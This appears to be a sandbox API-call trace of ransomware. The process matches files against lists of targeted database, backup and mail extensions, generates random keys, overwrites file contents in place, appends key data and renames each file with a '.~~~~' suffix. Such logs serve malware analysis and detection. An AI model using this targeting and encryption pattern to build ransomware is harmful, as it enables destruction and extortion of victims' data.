	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ACCDB") returned 0x0
	[0076.991] lstrlenW (lpString=".fdb") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".fdb") returned 0x0
	[0076.991] lstrlenW (lpString=".bak") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bak") returned 0x0
	[0076.991] lstrlenW (lpString=".myd") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".myd") returned 0x0
	[0076.991] lstrlenW (lpString=".DTXS") returned 5
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DTXS") returned 0x0
	[0076.991] lstrlenW (lpString=".ckp") returned 4
	[0076.991] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ckp") returned 0x0
	[0076.992] lstrlenW (lpString=".dbt") returned 4
	[0076.992] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbt") returned 0x0
	[0076.992] lstrlenW (lpString=".db") returned 3
	[0076.992] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".db") returned 0x0
	[0076.992] lstrlenW (lpString=".TXT") returned 4
	[0076.992] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".TXT") returned 0x0
	[0076.992] lstrlenW (lpString=".MDF") returned 4
	[0076.992] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MDF") returned 0x0
	[0076.992] lstrlenW (lpString=".bdb") returned 4
	[0076.992] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bdb") returned 0x0
	[0076.992] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.992] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0076.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.992] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0076.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.993] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0076.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0076.993] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19698354830) returned 1
	[0076.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x97c92570, dwHighDateTime=0x1d60e1e)) 
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac510
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac510 | out: hHeap=0x300000) returned 1
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aab98
	[0076.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0076.994] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.994] GetLastError () returned 0x0
	[0076.994] GetLastError () returned 0x0
	[0076.994] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.994] GetLastError () returned 0x0
	[0076.994] GetLastError () returned 0x0
	[0076.995] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.053] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.054] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0077.056] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.056] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.071] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.071] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.073] CloseHandle (hObject=0x128) returned 1
	[0077.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.~~~~")) returned 1
	[0077.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0077.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0077.167] GetLastError () returned 0x0
	[0077.167] RtlWakeConditionVariable () returned 0x365f70
	[0077.167] GetCurrentThreadId () returned 0x9f4
	[0077.167] GetCurrentThreadId () returned 0x9f4
	[0077.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0077.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac660 | out: hHeap=0x300000) returned 1
	[0077.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aae38
	[0077.167] lstrlenW (lpString=".scr") returned 4
	[0077.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".scr") returned 0x0
	[0077.167] lstrlenW (lpString=".cmd") returned 4
	[0077.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".cmd") returned 0x0
	[0077.167] lstrlenW (lpString=".dll") returned 4
	[0077.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dll") returned 0x0
	[0077.167] lstrlenW (lpString=".bat") returned 4
	[0077.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bat") returned 0x0
	[0077.167] lstrlenW (lpString=".cpl") returned 4
	[0077.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".cpl") returned 0x0
	[0077.168] lstrlenW (lpString=".sys") returned 4
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sys") returned 0x0
	[0077.168] lstrlenW (lpString=".msc") returned 4
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".msc") returned 0x0
	[0077.168] lstrlenW (lpString=".com") returned 4
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".com") returned 0x0
	[0077.168] lstrlenW (lpString=".lnk") returned 4
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".lnk") returned 0x0
	[0077.168] lstrlenW (lpString=".msp") returned 4
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".msp") returned 0x0
	[0077.168] lstrlenW (lpString=".pif") returned 4
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".pif") returned 0x0
	[0077.168] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0077.168] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.169] lstrlenW (lpString=".sqb") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sqb") returned 0x0
	[0077.169] lstrlenW (lpString=".ost") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ost") returned 0x0
	[0077.169] lstrlenW (lpString=".txt") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".txt") returned 0x0
	[0077.169] lstrlenW (lpString=".mdt") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".mdt") returned 0x0
	[0077.169] lstrlenW (lpString=".BDB") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BDB") returned 0x0
	[0077.169] lstrlenW (lpString=".eql") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".eql") returned 0x0
	[0077.169] lstrlenW (lpString=".DBF") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBF") returned 0x0
	[0077.169] lstrlenW (lpString=".EQL") returned 4
	[0077.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".EQL") returned 0x0
	[0077.170] lstrlenW (lpString=".FDB") returned 4
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".FDB") returned 0x0
	[0077.170] lstrlenW (lpString=".EDB") returned 4
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".EDB") returned 0x0
	[0077.170] lstrlenW (lpString=".DACPAC") returned 7
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DACPAC") returned 0x0
	[0077.170] lstrlenW (lpString=".VHD") returned 4
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".VHD") returned 0x0
	[0077.170] lstrlenW (lpString=".DBV") returned 4
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBV") returned 0x0
	[0077.170] lstrlenW (lpString=".dacpac") returned 7
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dacpac") returned 0x0
	[0077.170] lstrlenW (lpString=".sdf") returned 4
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sdf") returned 0x0
	[0077.170] lstrlenW (lpString=".accdb") returned 6
	[0077.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".accdb") returned 0x0
	[0077.171] lstrlenW (lpString=".DBX") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBX") returned 0x0
	[0077.171] lstrlenW (lpString=".MDT") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MDT") returned 0x0
	[0077.171] lstrlenW (lpString=".SQB") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SQB") returned 0x0
	[0077.171] lstrlenW (lpString=".vhd") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".vhd") returned 0x0
	[0077.171] lstrlenW (lpString=".bac") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bac") returned 0x0
	[0077.171] lstrlenW (lpString=".mdf") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".mdf") returned 0x0
	[0077.171] lstrlenW (lpString=".BAK") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BAK") returned 0x0
	[0077.171] lstrlenW (lpString=".BAC") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BAC") returned 0x0
	[0077.171] lstrlenW (lpString=".dbs") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbs") returned 0x0
	[0077.171] lstrlenW (lpString=".vhdx") returned 5
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".vhdx") returned 0x0
	[0077.171] lstrlenW (lpString=".NDF") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".NDF") returned 0x0
	[0077.171] lstrlenW (lpString=".dat") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dat") returned 0x0
	[0077.171] lstrlenW (lpString=".DBS") returned 4
	[0077.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBS") returned 0x0
	[0077.171] lstrlenW (lpString=".CKP") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".CKP") returned 0x0
	[0077.172] lstrlenW (lpString=".edb") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".edb") returned 0x0
	[0077.172] lstrlenW (lpString=".PST") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".PST") returned 0x0
	[0077.172] lstrlenW (lpString=".dbf") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbf") returned 0x0
	[0077.172] lstrlenW (lpString=".SQL") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SQL") returned 0x0
	[0077.172] lstrlenW (lpString=".pst") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".pst") returned 0x0
	[0077.172] lstrlenW (lpString=".dbv") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbv") returned 0x0
	[0077.172] lstrlenW (lpString=".SDF") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SDF") returned 0x0
	[0077.172] lstrlenW (lpString=".dtxs") returned 5
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dtxs") returned 0x0
	[0077.172] lstrlenW (lpString=".db3") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".db3") returned 0x0
	[0077.172] lstrlenW (lpString=".OST") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".OST") returned 0x0
	[0077.172] lstrlenW (lpString=".dbx") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbx") returned 0x0
	[0077.172] lstrlenW (lpString=".DB3") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DB3") returned 0x0
	[0077.172] lstrlenW (lpString=".DAT") returned 4
	[0077.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DAT") returned 0x0
	[0077.173] lstrlenW (lpString=".VHDX") returned 5
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".VHDX") returned 0x0
	[0077.173] lstrlenW (lpString=".ndf") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ndf") returned 0x0
	[0077.173] lstrlenW (lpString=".DB") returned 3
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DB") returned 0x0
	[0077.173] lstrlenW (lpString=".sql") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sql") returned 0x0
	[0077.173] lstrlenW (lpString=".MYD") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MYD") returned 0x0
	[0077.173] lstrlenW (lpString=".DBT") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBT") returned 0x0
	[0077.173] lstrlenW (lpString=".ACCDB") returned 6
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ACCDB") returned 0x0
	[0077.173] lstrlenW (lpString=".fdb") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".fdb") returned 0x0
	[0077.173] lstrlenW (lpString=".bak") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bak") returned 0x0
	[0077.173] lstrlenW (lpString=".myd") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".myd") returned 0x0
	[0077.173] lstrlenW (lpString=".DTXS") returned 5
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DTXS") returned 0x0
	[0077.173] lstrlenW (lpString=".ckp") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ckp") returned 0x0
	[0077.173] lstrlenW (lpString=".dbt") returned 4
	[0077.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbt") returned 0x0
	[0077.174] lstrlenW (lpString=".db") returned 3
	[0077.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".db") returned 0x0
	[0077.174] lstrlenW (lpString=".TXT") returned 4
	[0077.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".TXT") returned 0x0
	[0077.174] lstrlenW (lpString=".MDF") returned 4
	[0077.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MDF") returned 0x0
	[0077.174] lstrlenW (lpString=".bdb") returned 4
	[0077.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bdb") returned 0x0
	[0077.174] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.174] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.175] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.175] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
